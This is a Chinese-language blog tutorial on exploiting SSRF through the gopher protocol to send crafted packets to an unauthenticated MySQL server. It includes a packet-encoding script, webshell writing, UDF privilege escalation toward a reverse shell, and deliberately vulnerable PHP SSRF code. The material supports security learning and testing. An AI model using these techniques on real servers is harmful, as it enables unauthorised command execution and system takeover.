SSRF的原理在这里就不多说了，直接看怎么去利用来攻击MySQL。

MySQL通信协议

MySQL连接方式

MySQL分为服务端和客户端，客户端连接服务器使存在三种方法：

Unix套接字；
内存共享/命名管道；
TCP/IP套接字；

在Linux或者Unix环境下，当我们输入mysql –uroot –proot登录MySQL服务器时就是用的Unix套接字连接；Unix套接字其实不是一个网络协议，只能在客户端和Mysql服务器在同一台电脑上才可以使用。
在Windows系统中客户端和Mysql服务器在同一台电脑上，可以使用命名管道和共享内存的方式。
TCP/IP套接字是在任何系统下都可以使用的方式，也是使用最多的连接方式，当我们输入mysql –h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况：需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式，服务器先发送salt然后客户端使用salt加密密码然后验证；当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证，未授权情况下进行，本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段：Connection Phase（连接阶段或者叫认证阶段）和Command Phase（命令阶段）。在连接阶段包括握手包和认证包，这里我们不详细说明握手包，主要关注认证数据包。

构造攻击数据包

配置空密码用户

首先我们需要配置一个空密码的用户

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CREATEUSER ' usernopass'@'localhost';
GRANTUSAGE ON *.* TO ' usernopass'@'localhost';
GRANTALL ON *.* TO ' usernopass'@'localhost';

为了方便，我直接用的root。

抓取MySQL数据包

首先，开一个窗口,tcpdump -i lo port 3306 -w mysql.pcapng，开始抓取3306的数据包。 enter description here 然后在另一个窗口，开启MySQL终端，查询一些信息。最后记得exit;，不然会出问题。拿到流量包，随便选一个包，追踪TCP流然后提取request包，并且显示为原始数据

编码原始数据并通过gopher协议攻击

把原始数据弄成一行，拿去编码，编码脚本如下

#encoding:utf-8

def result(s):
	a=[s[i:i+2] for i in xrange(0,len(s),2)]
	return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == '__main__':
	import sys
	s=sys.argv[1]
	print result(s)

enter description here 把编码的结果拿去curl，用gopher协议可以看到，已经拿到了查询结果。

SSRF to getshell

写webshell

其实道理和上面的是一样的，都是执行SQL语句然后抓取数据包，用gopher去打，只不过多了一些条件，也就是secure_file_priv。同样的，开启tcpdump，然后另一个窗口进行sql操作，写webshell enter description here 然后把它删掉，再用gopher去打同样也成功写了个webshell

利用udf提权反弹shell

Linux下导入udf

我之前写过一篇windows下的UDF提权，现在来看看linux下的。
可以参考这篇文章但是导入之前其中有一步我没有成功，所以我直接用了那串很长的hex，一样可行。首先看看插件库的路径 enter description here 然后我们把库文件导入到该目录下(要先修改目录权限)

select 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into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb18/plugin/mysqludf.so';

再从里面导入函数create function sys_eval returns string soname 'mysqludf.so';，这个so文件我放GitHub上了。然后就可以执行系统命令了。 enter description here 然后可以反弹shell同样的，可以抓取流量，然后模拟SSRF。getshell:

实战

常见的存在SSRF漏洞的代码

<?php
if(isset($_GET['url'])){
	$url=$_GET['url'];
	$url_parts=parse_url($url);
	$port=$url_parts['port'];
	$host=$url_parts['host'];
	$ip=gethostbynamel($host)[0];
	$curl=curl_init();
	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
	curl_setopt($curl, CURLOPT_TIMEOUT, 3);
	curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
	curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$port.":".$ip));
	curl_setopt($curl, CURLOPT_PORT, $port);

	$data=curl_exec($curl);
	if(curl_error($curl)){
		error(curl_error($curl));
	}else{
		echo $data;
	}
}
?>